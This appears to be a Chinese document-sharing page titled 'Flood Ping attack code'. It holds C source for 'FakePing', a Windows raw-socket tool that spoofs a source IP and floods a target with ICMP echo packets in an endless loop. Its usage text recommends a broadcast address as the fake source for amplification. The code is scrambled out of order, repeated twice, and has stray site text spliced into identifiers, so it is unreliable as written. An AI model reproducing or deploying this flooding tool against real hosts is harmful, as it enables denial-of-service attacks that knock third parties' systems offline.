洪水Ping攻击代码
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
ULONG timestamp; //时间戳
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
while(1)
{
Sleep(100);
printf(\".\");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部
{
printf(\"FakePing by Shotgun\\n\");
printf(\"\\tThis program can do Ping-Flooding from a FakeIP\\n\");
printf(\"\\tUsing a BroadCast IP as the FakeIP will enhance the effect\\n\");
WSACleanup();
}
return 0;
}
ExitProcess(STATUS_FAILED);
} if((SockRaw=WSASocket(AF_INET,SOCKFra Baidu bibliotekRAW,IPPROTO_RAW,NULL,0,WSA_FLAG_
OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError());
ip_header.sourceIP=inet_addr(FakeSourceIp);//32位源IP地址
ip_header.destIP=inet_addr(DestIp);//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
unsigned charttl; //8位生存时间TTL
unsigned char proto; //8位协议(TCP, UDP或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
if (PacketSize>60000)
{
printf(\"Error! Packet size too big, must <60K\\n\");
exit(0);
}
printf(\"Now Fake %sPing %susing Packet size=%d bytes\\n\",
FakeSourceIp, DestIp, PacketSize);
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.200 6400\\n\");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
ip_header.ident=1;//16位标识
ip_header.frag_and_flags=0;//3位标志位
ip_header.ttl=128;//8位生存时间TTL
ip_header.proto=IPPROTO_ICMP;//8位协议(TCP, UDP或其他)
ip_header.checksum=0;//16位IP首部校验和
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
printf(\"Set IP_HDRINCL Error!\\n\");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR)
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//FakePing主函数
if (ErrorCode==SOCKET_ERROR) printf(\"\\nSend Error:%d\\n\",GetLastError());
}
}
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
icmp_header.i_cksum=checksum((USHORT*)SendBuf,sizeof(icmp_header)+PacketSize;
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
printf(\"USAGE:\\n\\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\\n\");
printf(\"Example:\\n\");
printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.255\\n\");
printf(\"\\tCtrl+C to Quit\\n\");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)
printf(\"Email:\\n\");
printf(\"\\tShotgun@Xici.Net\\n\");
printf(\"HomePage:\\n\");
printf(\"\\thttp://It.Xici.Net\\n\");
printf(\"\\thttp://www.Patching.Net\\n\");
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags;//3位标志位
{
fprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
}IP_HEADER;
//
//定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1) {
cksum+=*buffer++;
while(1)
{
Sleep(100);
printf(\".\");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr //定义IP首部
{
printf(\"FakePing by Shotgun\\n\");
printf(\"\\tThis program can do Ping-Flooding from a FakeIP\\n\");
printf(\"\\tUsing a BroadCast IP as the FakeIP will enhance the effect\\n\");
WSACleanup();
}
return 0;
}
ExitProcess(STATUS_FAILED);
} if((SockRaw=WSASocket(AF_INET,SOCKFra Baidu bibliotekRAW,IPPROTO_RAW,NULL,0,WSA_FLAG_
OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError());
ip_header.sourceIP=inet_addr(FakeSourceIp);//32位源IP地址
ip_header.destIP=inet_addr(DestIp);//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
unsigned charttl; //8位生存时间TTL
unsigned char proto; //8位协议(TCP, UDP或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
if (PacketSize>60000)
{
printf(\"Error! Packet size too big, must <60K\\n\");
exit(0);
}
printf(\"Now Fake %sPing %susing Packet size=%d bytes\\n\",
FakeSourceIp, DestIp, PacketSize);
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.200 6400\\n\");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>3) PacketSize=atoi(argv[3]);
ip_header.ident=1;//16位标识
ip_header.frag_and_flags=0;//3位标志位
ip_header.ttl=128;//8位生存时间TTL
ip_header.proto=IPPROTO_ICMP;//8位协议(TCP, UDP或其他)
ip_header.checksum=0;//16位IP首部校验和
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
printf(\"Set IP_HDRINCL Error!\\n\");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if (ErrorCode==SOCKET_ERROR)
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//FakePing主函数
if (ErrorCode==SOCKET_ERROR) printf(\"\\nSend Error:%d\\n\",GetLastError());
}
}
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
icmp_header.i_cksum=checksum((USHORT*)SendBuf,sizeof(icmp_header)+PacketSize;
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
printf(\"USAGE:\\n\\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\\n\");
printf(\"Example:\\n\");
printf(\"\\tFakePing.exe 192.168.15.23 192.168.15.255\\n\");
printf(\"\\tCtrl+C to Quit\\n\");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节)
printf(\"Email:\\n\");
printf(\"\\tShotgun@Xici.Net\\n\");
printf(\"HomePage:\\n\");
printf(\"\\thttp://It.Xici.Net\\n\");
printf(\"\\thttp://www.Patching.Net\\n\");
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags;//3位标志位
{
fprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
}IP_HEADER;
//
//定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号